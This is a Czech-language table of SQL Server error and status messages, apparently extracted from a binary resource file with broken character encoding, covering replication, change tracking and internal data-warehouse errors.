,Hodnota %1!s! zadan� pro parametr @agent_type procedury sp_getagentparameterlist nen� platn�. Zadejte jednu z platn�ch hodnot: 1, 2, 3, 4 nebo 9.

8Proces vytvoYen� profilu agenta nemo~e ovYit zadanou hodnotu parametru agenta. %1!s! nen� platn� hodnota pro parametr %2!s!. Hodnota mus� b�t cel� 
�slo. OvYte, zda je replikace nainstalov�na spr�vn a zda je ulo~en� procedura sp_add_agent_parameter vol�na s platnou hodnotou.

hProces vytvoYen� profilu agenta nemo~e ovYit zadanou hodnotu parametru agenta: Parametr profile_id %1!s! neexistuje nebo nepodporuje parametr %2!s!. Hodnota mus� b�t cel� 
�slo. OvYte, zda je replikace nainstalov�na spr�vn a zda je ulo~en� procedura sp_add_agent_parameter vol�na s platnou hodnotou.

�Pro obslu~nou rutinu obchodn� logiky sestaven� .NET je tYeba pro parametr @resolver_clsid zadat hodnotu NULL.

�Pro obslu~nou rutinu obchodn� logiky sestaven� .NET je tYeba, aby parametr @resolver_info obsahoval n�zev tY�dy z oboru n�zvo %1!s!, kter� implementuje rozhran� Microsoft.SqlServer.Replication.BusinessLogicSupport.BusinessLogicModule.

�Sloupec identity lze do tabulky vydavatele pYidat pouze s klauzul� NOT FOR REPLICATION.

�Sloupec %1!s! nelze vyYadit, proto~e jej pou~�v� replikace: Ve filtru nebo zobrazen� je na nj odkazov�no 
l�nkem %2!s!. Chcete-li sloupec vyYadit, je nejprve tYeba odebrat z 
l�nku filtr.

�PY�kaz DISABLE TRIGGER ALL nelze pro tabulku %1!s! prov�st, proto~e tabulka n�le~� publikaci, kter� podporuje aktualizovateln� odbry (pro tyto typy publikac� pYid�v� replikace do tabulek aktiva
n� ud�losti). U~ivatelsk� aktiva
n� ud�losti vaak mo~ete zak�zat jednotliv. Zadejte n�zev u~ivatelsk� aktiva
n� ud�losti, kterou chcete zak�zat.

�Aktiva
n� ud�lost %1!s! pro tabulku %2!s! nelze zak�zat, proto~e je po~adov�na aktualizovatelnou publikac�.

XReplikaci DDL se nepodaYilo aktualizovat vlastn� procedury. Spusete pY�kaz exec sp_register_custom_scripting CUSTOM_SCRIPT, your_script, %1!s!, %2!s! a opakujte akci.

�Replikovan� objekt nelze zmnit z typu %1!s! na typ with encrypted.

�Pro parametr %1!s! byla zad�na neplatn� hodnota. PYi zmn t�to vlastnosti je tYeba zadat hodnotu %2!s!.

tVlastnost %1!s! je platn� pouze pro nab�zen� odbry.

�Vlastnost %1!s! nelze zmnit. Tato vlastnost je platn� pouze pro odbry, kter� povoluj� aktualizace v odbrateli. Odbry, vo
i kter�m byla procedura vol�na, aktualizace v odbrateli nepovoluj�.

�Soubor skriptu nelze zapsat do slo~ky sn�mko distributora (%1!s!). Zkontrolujte, zda je k dispozici dostatek m�sta na disku. OvYte tak�, zda m� �
et, pod kter�m je spuatn agent sn�mku, opr�vnn� pro z�pis do slo~ky sn�mko a jej�ch podadres�Yo.

pZadejte pr�v jeden z parametro   %1!s! nebo %2!s!.

�Operaci %1!s! nelze pro polo~ku %2!s! prov�st, proto~e polo~ka ji~ existuje.

�Operaci %1!s! nelze pro polo~ku %2!s! prov�st, proto~e polo~ka neexistuje.

4Omezen� pro v�ce sloupco nelze pYidat, proto~e tabulka %1!s! je publikov�na, ale sloupec %2!s! nen� ve vaech aktivn�ch odd�lech. Rozdlte pY�kaz DDL.

(Z pY�kazu DDL, kter� vyYazuje sloupce z tabulky %1!s!, nelze vyYadit omezen�, proto~e tabulka je publikovan�. Pou~ijte samostatn� pY�kazy DDL.

�Vlastnost %1!s! je platn� pouze pro odbry %2!s!. Pro odbry %4!s! pou~ijte mo~nost %3!s!.

Parametry typu %1!s! jsou zastaral� a nad�le by se nemly pou~�vat. Dala� informace naleznete v dokumentaci produktu %2!s!.

�Proxy �
et pro identifik�tor jobstep_uid (%1!s!) nelze naj�t.

�Pro 
l�nek %1!s! nelze pro vlastnost schema_option zadat hodnotu 0x4 (identita skriptu jako identita, ne~ jako z�kladn� datov� typ). Hodnota zadan� pro parametr @identityrangemanagementoption je NONE. Chcete-li identitu replikovat jako identitu, je tYeba pro publikace, kter� nepodporuj� aktualizuj�c� odbry ve front, nastavit hodnotu MANUAL nebo AUTO.

�Soubor %1!s! ji~ existuje. Nastaven� nebo vlastnosti mo~ete zmnit pomoc� %2!s!.

�Bez zad�n� parametru %1!s! mohou tuto operaci prov�st pouze 
lenov� pevn� role serveru sysadmin.

�PYi vytv�Yen� ud�losti trasov�n� ve vydavateli Oracle %1!s! doalo k chyb. Ud�lost trasov�n� nelze odeslat.

�Prim�rn� kl�
 pro tabulku %1!s!.%2!s! obsahuje %3!s! sloupco. Syst�m SQL Server podporuje nejv�ae %4!s! sloupco. Definujte prim�rn� kl�
 znovu, aby neobsahoval v�ce sloupco, ne~ je maxim�ln� povolen� po
et.

�Index prim�rn�ho kl�
e %1!s!.%2!s! m� nejm�n %3!s! bajto. Syst�m SQL Server podporuje kl�
e do velikosti %4!s! bajto. Sni~te po
et sloupco v prim�rn�m kl�
i nebo sloupce pYedefinujte, aby pou~�valy mena� datov� typy.

�PYed obnoven�m parametru odbru xact_seqno je tYeba spustit agenta distribuce v re~imu jedin�ho datov�ho proudu odbru.

��loha agenta replikace (%1!s!) pro tento odbr ji~ existuje.

�Parametry %1!s! t�to procedury jsou zastaral�. Hodnotu je nyn� tYeba zadat pYi vol�n� procedury %2!s!.

�l�nek %1!s! nepodporuje hodnoty 0x20 
i 0x2000000000 vlastnosti schema_option, proto~e obsahuje po
�tan� sloupec, omezen� CHECK 
i DEFAULT nebo prim�rn� kl�
 zalo~en� na sloupci typu CLR. ZmHte nastaven� parametru @schema_option a opakujte akci.

DDo tabulky %1!s! nelze pYidat po
�tan� sloupec zalo~en� na typu CLR nebo omezen� CHECK, proto~e 
l�nek %2!s! podporuje hodnotu 0x20 vlastnosti schema_option.

�Vlastnost %1!s! lze zadat 
i zmnit pouze pro heterogenn� publikace, kdy~ je mo~nost %2!s! nastavena na hodnotu %3!s!.

�l�nek %1!s! nelze pYidat, indexovan� zobrazen� publikovan� jako indexed view logbased a ulo~enou proceduru v jak�mkoli tvaru typu proc exec nelze publikovat, pokud je jejich spole
n� z�kladn� tabulka taky publikovan�.

|Sloupce typu XML, CLR nebo MAX nelze zmnit, proto~e tabulka je publikovan� a 
l�nek %1!s! podporuje mo~nost sch�matu, kter� umo~Huje mapov�n� tchto sloupco na sloupce z�kladn�ho typu.

�Proceduru %1!s! nelze zmnit tak, aby z�visela na indexovan�m zobrazen� publikovan�m jako indexed view logbased nebo na z�kladn� tabulce, proto~e indexovan� zobrazen� na t�to tabulce tak� z�vis�.

��lohu agenta distribuce pro zadan� transak
n� 
i sn�mkov� nab�zen� odbr nelze naj�t.

��lohu agenta slou
en� pro zadan� slu
ovac� nab�zen� odbr nelze naj�t.

�Zadan� nab�zen� odbr nen� konfigurovan� s �lohou agenta synchronizace.

�Vlastnost %1!s! nelze zmnit mo~nost %2!s! pot�, co ji~ byla nastavena hodnota na %3!s!.

tPublikace peer-to-peer podporuj� pro vlastnost %1!s! pouze hodnotu %2!s!. l�nek %3!s! m� aktu�ln pro vlastnost %4!s! hodnotu %5!s!. Chcete-li pokra
ovat, je tYeba hodnotu zmnit.

Publikace peer-to-peer nepodporuj� %1!s!. l�nek %2!s! m� aktu�ln hodnotu %3!s!. Chcete-li pokra
ovat, je tYeba tuto polo~ku zmnit.

PYihl�aen� %1!s! poskytnut� v proceduYe sp_link_publication nen� mapov�no na ~�dn�ho u~ivatele v publika
n� datab�zi %2!s!.

�Pro obslu~nou rutinu obchodn� logiky sestaven� .NET by ml n�zev sestaven� .NET odpov�dat n�zvu platn�ho sestaven� v oboru n�zvo %1!s!, kter� obsahuje tY�du, kter� implementuje rozhran� Microsoft.SqlServer.Replication.BusinessLogicSupport.BusinessLogicModule. Zkontrolujte registraci obslu~n� rutiny obchodn� logiky a ovYte, ~e n�zev sestaven� .NET byl zad�n spr�vn.

�Sn�mek nemo~e zpracovat 
l�nek %1!s! v publikaci %2!s!, clusterovan� index indexovan�ho zobrazen� %3!s! byl pravdpodobn vyYazen pYi upgradu 
i obnoven�. VytvoYte index a spusete sn�mek znovu.

�Vlastnost odbru %1!s! nelze zmnit, proto~e pro tento odbr neexistuje v tabulce MSsubscription_properties ~�dn� polo~ka. Ne~ tuto vlastnost zmn�te, zavolejte proceduru sp_addmergepullsubscription_agent.

�Aktu�ln� operace byla pYeruaena, proto~e by deaktivovala 
l�nek v publikaci, pro kterou se pr�v vytv�Yel sn�mek.

Sloupce FILESTREAM nelze v publikaci publikovat pomoc� metod synchronizace database snapshot ani database snapshot character.

Pro 
l�nek nelze %1!s! nelze do sloupce pYidat vlastnost SPARSE, proto~e slu
ovac� replikace nepodporuje zhuatn� sloupce.

$Nelze publikovat 
l�nek %1!s! ani pYidat sadu atributo COLUMN_SET do jeho z�kladn� tabulky %2!s!, proto~e replikace nepodporuje sady sloupco.

�Vlastnost publikace %1!s! mus� m�t jednu z hodnot true nebo false.

Kdy~ je vlastnost publikace %3!s! nastavena na hodnotu %4!s!, je mo~n� vlastnost publikace %1!s! nastavit pouze na hodnotu %2!s!.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Tabulka %1!s! patY� publikaci, kter� nepovoluje pYep�n�n� odd�lo.

`Proveden� pY�kazu ALTER TABLE SWITCH se nezdaYilo. PY�kaz nen� povolen, proto~e nejm�n jedna z tabulek v tomto pY�kazu je 
l�nkem s jinou c�lovou tabulkou 
i vlastn�kem.

�Filtr mezi navrhovan�m nadYazen�m 
l�nkem %1!s! a navrhovan�m podY�zen�m 
l�nkem %2!s! nelze pYidat, proto~e by to vytvoYilo cyklickou relaci filtru. Navrhovan� nadYazen� 
l�nek ji~ je filtrov�n uveden�m podYazen�m 
l�nkem.

�Agent distribuce pYi pou~it� pY�kazo v re~imu SubscriptionStreams zjistil vz�jemn� zablokov�n�. Identifik�tor procesu serveru %1!s! 
ek� na z�mek (typ %2!s!, re~im %3!s!) pro index %4!s! tabulky %5!s!.

lVydavatel %1!s! datab�ze %2!s! nebyl pYesmrov�n.

�Skupina dostupnosti pYidru~en� k n�zvu virtu�ln� s�t %1!s! nem� ~�dn� repliky.

tNem�te opr�vnn� ke spuatn� ulo~en� procedury %1!s!.

�Ulo~en� procedura %1!s! mus� b�t spuatna z distribu
n� datab�ze. Aktu�ln� datab�ze %2!s! nen� distribu
n�.

�Parametry @original_publisher a @publisher_db ulo~en� procedury %1!s! nesm� m�t hodnotu NULL.

�Distributor %1!s! nen� distributorem povodn�ho vydavatele %2!s! ani datab�ze vydavatele %3!s!.

�Povodn� vydavatel %1!s! datab�ze %2!s! nen� vzd�len�m serverem dan�ho distributora.

Nelze vytvoYit odkazovan� server, kter� m� b�t pou~it ke kontaktov�n� vzd�len�ho vydavatele povodn�ho vydavatele %1!s!, datab�ze vydavatele %2!s! a pYesmrovan�ho vydavatele %3!s!. PYi prov�dn� pY�kazu %4!s! doalo k chyb %5!s! (chybov� zpr�va %6!s!).

xPYesmrovan�ho serveru %1!s! se nelze dot�zat na povodn�ho vydavatele %2!s! a datab�zi vydavatele %3!s! za �
elem ur
en� n�zvu vzd�len�ho serveru (chyba %4!s!, chybov� zpr�va %5!s!).

�K identifikaci pYesmrovan�ho vydavatele pro povodn�ho vydavatele %2!s! a datab�zi %3!s! byl pou~it n�zev virtu�ln� s�t %1!s!. Skupina dostupnosti pYidru~en� k tomuto n�zvu virtu�ln� s�t vaak nezahrnuje datab�zi vydavatele.

Datab�ze %1!s! u pYesmrovan�ho vydavatele %2!s! pro povodn�ho vydavatele %3!s! a datab�ze %4!s! nen� synchronizov�na nebo nen� aktivn�.

�Datab�ze %1!s! u pYesmrovan�ho vydavatele %2!s! pro povodn�ho vydavatele %3!s! a datab�ze %4!s! n�le~� do skupiny dostupnosti HADRon a mus� b�t pYesmrov�na ke sv�mu pYidru~en�mu n�zvu virtu�ln� s�t HADRon.

lPYi prov�dn� dotazu u pYesmrovan�ho vydavatele %1!s!, kter� ml ur
it, zda datab�ze vydavatele %2!s! n�le~� do skupiny dostupnosti, doalo k chyb %3!s! (chybov� zpr�va %4!s!).

xPYi prov�dn� dotazu u pYesmrovan�ho vydavatele %1!s!, kter� ml zjistit stav skupiny dostupnosti pYidru~en� k datab�zi vydavatele %2!s!, doalo k chyb %3!s! (chybov� zpr�va %4!s!).

`N�vratov� k�d nezdaYen�ho vol�n� byl %1!s!.

pVr�cen� n�zev vzd�len�ho serveru ml hodnotu NULL.

lPYi prov�dn� dotazu u pYesmrovan�ho vydavatele %1!s!, kter� ml ur
it, zda datab�ze vydavatele %2!s! n�le~� do skupiny dostupnosti, doalo k chyb %3!s! (chybov� zpr�va %4!s!).

�V instanci syst�mu SQL Server %1!s! nen� nakonfigurov�na podpora replikace. Chcete-li instanci syst�mu SQL Server nastavit tak, aby slou~ila jako vydavatel replikace, nakonfigurujte v t�to instanci podporu replikace.

�Instance syst�mu SQL Server %1!s! nen� vydavatelem replikace. Chcete-li instanci syst�mu SQL Server %2!s! s distributorem %3!s! nastavit tak, aby hostovala publika
n� datab�zi %4!s!, spusete na t�to instanci pY�kaz sp_adddistributor. Zkontrolujte, zda jste zadali stejn� pYihlaaovac� jm�no a heslo jako pro povodn�ho vydavatele.

�Instanci syst�mu SQL Server %1!s! s distributorem %2!s! a distribu
n� datab�z� %3!s! nelze pou~�t s datab�z� vydavatele %4!s!. Nakonfigurujte vydavatele znovu tak, aby pou~il distributora %5!s! a distribu
n� datab�zi %6!s!.

�Vydavatel %1!s! s distributorem %2!s! nen� u distributora %3!s! zn�m jako vydavatel. Chcete-li povolit, aby vzd�len� server hostoval publika
n� datab�zi %5!s!, spusete u distributora %4!s! pY�kaz sp_adddistpublisher.

�Nelze pou~�t dotaz na sloupec sys.availability_replicas v prim�rn� skupin dostupnosti pYidru~en� k n�zvu virtu�ln� s�t %1!s! t�kaj�c� se n�zvo servero 
lensk�ch replik: chyba = %2!s!, chybov� zpr�va = %3!s!.',

�Odbratel� (%1!s!) povodn�ho vydavatele %2!s! nejsou u pYesmrovan�ho vydavatele %3!s! zobrazeni jako vzd�len� servery. Chcete-li tyto odbratele pYidat jako vzd�len� servery, spusete u pYesmrovan�ho vydavatele pY�kaz sp_addlinkedserver.

�Nelze nakonfigurovat odkazovan� server, aby se dot�zal hostitelsk�ho serveru repliky %1!s!: n�vratov� k�d = %2!s!.

�Doalo k jedn� nebo v�ce chyb�m ovYen� vydavatele u hostitelsk�ho serveru repliky %1!s!.

hPYi prov�dn� dotazu u pYesmrovan�ho vydavatele %1!s!, kter� ml ur
it, zda je instance syst�mu SQL Server vydavatelem replikace, doalo k chyb %2!s! (chybov� zpr�va %3!s!).

LPYi prov�dn� dotazu, kter� ml ur
it, zda je m�stn� distributor %1!s! distributorem pro vzd�len�ho vydavatele %2!s!, doalo k chyb %3!s! (chybov� zpr�va %4!s!).

�Vydavatel %1!s! pou~�v� distribu
n� datab�zi %2!s!, nikoli %3!s!, kter� je vy~adov�na pro hostov�n� publika
n� datab�ze %4!s!. Spuatn�m pY�kazu sp_changedistpublisher u distributora %5!s! zmHte distribu
n� datab�zi pou~itou vydavatelem na %6!s!.

�PYi prov�dn� dotazu u pYesmrovan�ho vydavatele %1!s!, kter� ml ur
it, zda existuj� z�znamy sysserver pro odbratele povodn�ho vydavatele %2!s!, doalo k chyb %3!s! (chybov� zpr�va %4!s!).

FreeStaleVersionSpace selhalo pro str�nku %1!s! pro ID datab�ze %2!s!. Tato mo~nost bude pYi pY�at� iteraci 
iatn� verze vyYazena.

�Bylo pYeruaeno 
iatn� zastaral�ch/pYeruaen�ch verz� pro ID datab�ze %1!s! z dovodu vypnut� datab�ze.

�iatn� verz� pro ID datab�ze %1!s! bylo pYeruaeno z dovodu exkluzivn�ho 
ek�n� datab�ze.

�iatn� verz� pro ID datab�ze %1!s! bylo pYeruaeno kvoli pl�novan�mu pYevzet� slu~eb pYi selh�n�.

�Zruaen� verze n�le~ej�c� do t�to skupiny souboro nebylo mo~n� vy
istit.

Nejde zmnit vlastnost READONLY skupiny souboro obsahuj�c� trval� �lo~iat verz�, co~ je ale pro zrychlen� obnoven� datab�ze nutn�.

`Hodnota poskytnut� pro argument change_column funkce change_tracking_is_column_in_mask nen� platn�. Hodnota mus� b�t bitov� maska vr�cen� funkc� changetable(changes ...).

�Zadan� argumenty nejsou pro mo~nost CHANGES funkce changetable platn�.

�Zadan� argumenty nejsou pro mo~nost VERSION funkce changetable platn�.

pTabulka vr�cen� funkc� changetable mus� m�t alias.

hPro tabulku %1!s! nen� povoleno sledov�n� zmn.

pFunkce changetable nepodporuje vzd�len� zdroje dat.

�Datov� typ objektu %1!s! nen� funkc� changetable podporov�n. Objekt mus� b�t u~ivatelem definovan� tabulka.

�Klauzuli CHANGE_TRACKING_CONTEXT WITH nelze pou~�t s pY�kazem SELECT.

�Argument context klauzule CHANGE_TRACKING_CONTEXT WITH mus� b�t datov�ho typu varbinary s maxim�ln� povolenou d�lkou 128.

�Po
et sloupco zadan� ve funkci changetable(version ...) se neshoduje s po
tem sloupco prim�rn�ho kl�
e pro tabulku %1!s!.

�Sloupec %1!s! zadan� ve funkci changetable(version ...) nen� 
�st� prim�rn�ho kl�
e pro tabulku %2!s!.

Ka~d� sloupec prim�rn�ho kl�
e mus� b�t ve funkci changetable(version ...) zad�n pr�v jednou. Sloupec %1!s! je zad�n v�ce ne~ jednou.

�Vlastnost %1!s! nen� povolena, proto~e prob�h� sledov�n� zmn tabulky.

�Mo~nosti sledov�n� zmn pro pY�kaz ALTER DATABASE nelze kombinovat s jin�mi mo~nostmi pY�kazu ALTER DATABASE.

<Sledov�n� zmn je v datab�zi %1!s! povoleno pro nejm�n jednu tabulku. Ne~ zak�~ete sledov�n� zmn cel� datab�ze, zaka~te jej nejprve pro jednotliv� tabulky. Seznam tabulek, pro kter� je povoleno sledov�n� zmn, mo~ete zobrazit pomoc� zobrazen� katalogu sys.change_tracking_tables.

�Sledov�n� zmn nen� v t�to edici syst�mu SQL Server podporov�no.

`Zmna sledov�n� nen� podporov�na pro datab�ze, kter� jsou 
leny sekund�rn� repliky dostupnosti. Dotazy zmny sledov�n� spusete v datab�z�ch v prim�rn� replice dostupnosti.

Pro tabulku %1!s! nejde povolit sledov�n� zmn. Sledov�n� zmn se nepodporuje, kdy~ prim�rn� kl�
 obsahuje aifrovan� sloupce.

�V tabulce %1!s! nelze povolit sledov�n� zmn. Sledov�n� zmn vy~aduje, aby bylo v tabulce povolen� omezen� pro prim�rn� kl�
. DY�ve ne~ povol�te sledov�n� zmn v tabulce, povolte omezen� pro prim�rn� kl�
.

dNeplatn� hodnota pro velikost 
istic� d�vky.

dOdstranno %1!s! Y�dko za milisekundu z %2!s!

�Automatick� 
iatn� Yeaen� Change Tracking (Sledov�n� zmn) u postrann� tabulky prvku %1!s! selhalo. Pokud chyba pYetrv�v�, vy
istte proal� z�znamy ze stranov� tabulky pomoc� metody sp_flush_CT_internal_table_on_demand.

�Automatick� 
iatn� Yeaen� Change Tracking (Sledov�n� zmn) je u postrann� tabulky prvku %1!s! blokov�no. Pokud chyba pYetrv�v�, zkontrolujte, jestli tabulku %2!s! neblokuje njak� proces.

xRu
n� 
iatn� Yeaen� Change Tracking (Sledov�n� zmn) je u postrann� tabulky prvku %1!s! blokov�no. Pokud chyba pYetrv�v�, zkontrolujte, jestli tabulku %2!s! neblokuje njak� proces.

�VnitYn� chyba. Nelze z�skat z�padku dr~�c� vyrovn�vac� pamti pro kontrolu ColumnStore slu~by DW Tiered Storage.

�VnitYn� chyba. Nejde spustit vzd�len� syst�m uvolHov�n� pamti cs. K�d chyby 22202.

�VnitYn� chyba. Nejde aktualizovat tabulku objekto blob v catalogDB. K�d chyby 22203.

�VnitYn� chyba. Nejde aktualizovat informace datab�ze katalogu pro URI slu~by [%1!s!].

�VnitYn� chyba. Nejde z�skat informace o katalogu pYes pomocnou rutinu katalogu.

�VnitYn� chyba. Nejde z�skat z�mek pro chr�nnou sd�lenou vyrovn�vac� pame

�VnitYn� chyba. Nejde z�skat platnou dbtable. K�d chyby 22207.

�Selhal pY�stup k objektu blob ColumnStore slu~by DW Tiered Storage. PY�
inu hledejte v pYedchoz�ch chyb�ch.

pVnitYn� chyba. Nejde naplnit seznam 
leno instance.

`VnitYn� chyba. Nejde z�skat 
lena instance.

dVnitYn� chyba. Neplatn� stav 
lena instance.

TDoalo k chyb pYi 
ten� segmentu vzd�len�ho �lo~iat sloupce HoBt 0x%1!s!, objekt %2!s!, sloupec %3!s!, typ %4!s! v datab�zi %5!s!. Segment se nepovedlo deaifrovat.

�VnitYn� chyba. Nejde z�skat informace o katalogu prostYednictv�m t�to ulo~en� procedury.

�VnitYn� chyba. Nejde inicializovat Spr�vce pYipojen� XODBC.

lVnitYn� chyba. Nejde z�skat informace o katalogu.

pVnitYn� chyba. Selh�n� chr�nn� vyrovn�vac� pamti.

�VnitYn� chyba. Selh�n� uchov�n� informac� o n�kladech lru.

`VnitYn� chyba. Selh�n� komunikace katalogu.

dVnitYn� chyba. Selh�n� vnitYn� b�ze tabulek.

�Doalo k vnitYn� chyb. Nejde aktualizovat typ migrace z vlastnosti prostYedku infrastruktury.

�VnitYn� chyba. Rozpozn�no ADW optimalizov�n� pro �lo~iat Compute. Nejde na
�st objekt blob.

Doalo k vnitYn� chyb (%1!s!, %2!s!). Opakujte operaci znovu. Pokud pot�~e potrvaj�, kontaktujte z�kaznickou podporu Microsoft Azure.

Doalo k vnitYn� chyb (%1!s!, %2!s!). Opakujte operaci znovu. Pokud pot�~e potrvaj�, kontaktujte z�kaznickou podporu Microsoft Azure.

dVzd�len� z�hlav� lob columnstore nen� platn�.

pNeodpov�d� kontroln� sou
et dat columnstore vzd�len�ho �lo~iat. O
ek�van� kontroln� sou
et z objektu blob je %1!s!, skute
n� kontroln� sou
et z vyrovn�vac� pamti 
ten� je %2!s!.

@Re~im DW FIDO nen� povolen.

\Kontext transakce DW FIDO nebyl nalezen.

�Aktualizace nejsou u transakc� prohled�v�n� FIDO povoleny.

�ten� nebo z�pis do souboro datab�ze se v datab�z�ch FIDO nepodporuje.

�Vol�n� FIDO ODBC vr�tilo hodnotu NULL nebo neo
ek�vanou hodnotu.

hV re~imu Fido jsou povoleny pouze tabulky CCI.

|PY�kazy Alter jsou povoleny pouze u transakc� FIDO Alter.

XVl�knu Fido se nepovedlo z�skat z�mek.

\Datab�ze mezipamti Fido nebyla nalezena.

xDatab�zi Fido DB s kl�
em %1!s! se nepovedlo vytvoYit.

XDoalo k obecn� chyb mimo hranice Fido.

�Sadu Y�dko s ID %1!s! se v datab�zi Fido nepovedlo pYemapovat.

|Sloupce Fido v sad Y�dko s ID %1!s! se nepovedlo naj�t.

LPYipojen� ODBC Fido nen� platn�.

TInvalid Fido Transaction type %1!s!.

\Nepovedlo se z�skat z�mek mezipamti CSI.

HSloupec ODBC Fido nen� platn�.

`Transakci ODBC Fido se nepovedlo potvrdit.

�Doalo k neplatn�mu pY�stupu k sad Y�dko datab�ze Fido (DbId %1!s!, RowsetId %2!s!).

�Datab�zi Fido (DbId: %1!s!, Name: %2!s!) jde pou~�t jenom v kontextu relace Fido.

�Datab�zi Fido (DbId: %1!s!, Name: %2!s!) nejde v aktu�ln� relaci pou~�t. Povoleno je jenom DbId: %3!s!.

�Neplatn� kontext relace Fido. Minim�ln� ID buHky nemo~e b�t vta� ne~ maxim�ln� ID buHky

XServer DW FIDO GLM nen� inicializov�n.

XKlient DW FIDO GLM nen� inicializov�n.

�ID kl�
ov�ho sloupce (%1!s!) pro sadu Y�dko (%2!s!) je mimo rozsah.

�Aktualizace ze sady Y�dku FIDO jenom pro skenov�n� nejsou povoleny.

�Bylo poskytnuto neplatn� Id sady Y�dko (%1!s!) pro sys RowsetId (%2!s!) pYemapov�n� sady Y�dku Fido.

|PY�kazy ALTER jsou povoleny jenom na instanci GLMServer.

tNepovedlo se otevY�t sadu Y�dko (%1!s!) v DB (%2!s!).

pChyb� ID RowsetColumn (%1!s!) v sad Y�dko (%2!s!).

�Zadan� re~im pYistupuj�c�ho objektu nen� v sad Y�dko Fido GLM podporov�n.

\Data nepodporovan� sadou Y�dko Fido GLM.

 Neo
ek�v�no

�OvYen� dat (atribut rowcount i kontroln� sou
et) vaech 
l�nko v publikaci probhlo �span.

�OvYen� dat (pouze atribut rowcount) neprobhlo pro vaechny 
l�nky v publikaci �span.

4Prob�h� inicializace.

DPou~it� sn�mku na odbratele.

�Slou
en� bylo dokon
eno, nebyla provedena ~�dn� zmna dat.

LNen� potYeba slu
ovat ~�dn� data.

LOdes�l�n� zmn dat do vydavatele.

LStahov�n� zmn dat do odbratele.

DNa
�t�n� informac� o odbru.

HNa
�t�n� informac� o publikaci.

LSlou
en� bylo �span dokon
eno.

DSkupiny odd�lo s nefiltrovan�mi publikacemi nelze pou~�t. Pomoc� procedury sp_changemergepublication nastavte mo~nost use_partition_groups na hodnotu false.

Skupiny odd�lo nelze pou~�t, proto~e spojovac� filtr mezi n�sleduj�c�mi 
l�nky obsahuje nejm�n jednu funkci: %1!s! a %2!s!.

�Skupiny odd�lo nelze pou~�t, proto~e nejm�n jeden filtr odkazuje na n�sleduj�c� zobrazen�, kter� obsahuje funkce: %1!s!.

�Publikace nemo~e pou~�t pYedpo
�tan� odd�ly, proto~e ve spojovac�m filtru zadan�m pro 
l�nky v publikaci je nejm�n jeden cyklick� odkaz. Chcete-li pYedpo
�tan� odd�ly pou~�t, zajistte, aby neexistovaly ~�dn� cyklick� relace spojovac�ch filtro.

�Publikace %1!s! podle definice obsahuje dynamick� filtry, ale sama ~�dn� dynamick� filtry neobsahuje.

�Publikace podle definice neobsahuje ~�dn� dynamick� filtry, ale sama nejm�n jeden dynamick� filtr obsahuje.

8Sloupce typu image, ntext, xml, CLR, varchar(max), nvarchar(max) nebo varbinary(max) nelze pou~�t v podmno~in nebo spojovac�m filtru pro 
l�nek %1!s!.

�Relaci logick�ho z�znamu mezi tabulkami %1!s! a %2!s! nelze pYidat, proto~e v klauzuli JOIN je odkazov�no na sloupec typu text, image, ntext, xml, varchar(max), nvarchar(max) nebo varbinary(max).

�l�nek %1!s! nelze publikovat, proto~e je publikov�n v jin� slu
ovac� publikaci. l�nek, kter� m� nastavenu hodnotu 3 pro parametr @partition_options procedury sp_addmergearticle (nepYekr�vaj�c� se odd�ly s jedn�m odbrem na odd�l), nelze zahrnout do v�ce publikac� nebo odbro a nelze jej znovu publikovat. Chcete-li 
l�nek zahrnout do v�ce publikac�, zadejte pomoc� procedury sp_changemergearticle pro vlastnost partition_options existuj�c�ho 
l�nku jinou hodnotu.

dl�nek nemo~e b�t sou
�st� relace logick�ho z�znamu a sou
asn m�t hodnotu parametru @partition_options rovnu 2 nebo 3 (nepYekr�vaj�c� se odd�ly). Zkontrolujte 
l�nek %1!s!.

�l�nek %1!s! je publikov�n v jin� slu
ovac� publikaci s jinou zadanou hodnotou parametru @partition_options procedury sp_addmergearticle. Zadan� hodnota mus� b�t stejn� ve vaech slu
ovac�ch publikac�ch. Zadejte stejn� hodnoty jako u existuj�c�ho 
l�nku nebo zmHte existuj�c� 
l�nek pomoc� procedury sp_changemergearticle.

Pokud publikace %1!s! obsahuje 
l�nky prostYednictv�m nastaven� parametru @partition_options = 3, nepovoluje v�ce odbro na odd�l.

�Pro parametr %1!s! byla zad�na neplatn� hodnota. Platn� hodnoty jsou 0 (~�dn�), 1 (vynucen� odd�ly), 2 (nepYekr�vaj�c� se odd�ly s v�ce odbry na odd�l) a 3 (nepYekr�vaj�c� se odd�ly s jedn�m odbrem na odd�l).

tByla zad�na neplatn� hodnota pro parametr %1!s!. Platn� hodnoty jsou day, days, dd, year, years, yy, yyyy, month, months, mm, week, weeks, wk, hour, hours, hh, minute, minutes, mi.

�Pro dobu uchov�n� publikace %1!s! nelze pou~�t jinou jednotku doby ne~ days, proto~e �roveH kompatibility publikace je mena� ne~ 90. Pomoc� procedury sp_changemergepublication nastavte vlastnost publication_compatibility_level na hodnotu 90RTM.

�Jednotku doby uchov�n� publikace %1!s! nelze zmnit, proto~e �roveH kompatibility publikace je mena� ne~ 90. Pomoc� procedury sp_changemergepublication nastavte vlastnost publication_compatibility_level na hodnotu 90RTM.

�V 
l�nku %1!s! nelze aktualizovat ~�dn� sloupec, kter� se pou~�v� v klauzuli relace logick�ho z�znamu.

xPublikace v re~imu znako nepodporuje tabulky s odd�ly.

�Pro heterogenn� publikace by mly b�t parametry %1!s! zad�ny pYi vol�n� procedury %2!s!.

�Hodnotu parametru %1!s! nelze pro heterogenn� publikace aktualizovat ani zmnit.

@Zadan� vlastnost job_login se mus� shodovat s pYihlaaovac�mi �daji vydavatele zadan�mi pYi pYid�v�n� vydavatele distribuce (procedura sp_adddistpublisher).

ProstYednictv�m ulo~en�ch procedur replikace lze pYidat, zmnit, vyYadit nebo zobrazit pouze �lohy replikace a pl�ny �loh.

�Neplatn� pou~it� parametro %1!s!   parametr %2!s! je nastaven� na hodnotu %3!s!.

,Publikaci %1!s! nelze zmnit tak, aby pou~�vala parametr sync_mode s hodnotou character, proto~e obsahuje nejm�n jednu relaci logick�ho z�znamu.

xDo publikace %1!s! nelze pYidat relaci logick�ho z�znamu, proto~e pou~�v� parametr sync_mode s hodnotou character a pravdpodobn m� odbratele se syst�mem SQL Server Compact Edition.

�Hodnota vlastnosti @subscriber_upload_options je neplatn�. Platn� hodnoty jsou 0 (povolit odes�l�n�), 1 (zak�zat odes�l�n�), 2 (zak�zat odes�l�n�, zak�zat zmny odbratele) a 3 (disable_outofpartition_subscriber_changes).

�Kdy~ je vlastnost publikace @allow_partition_realignment nastavena na hodnotu false, vlastnost 
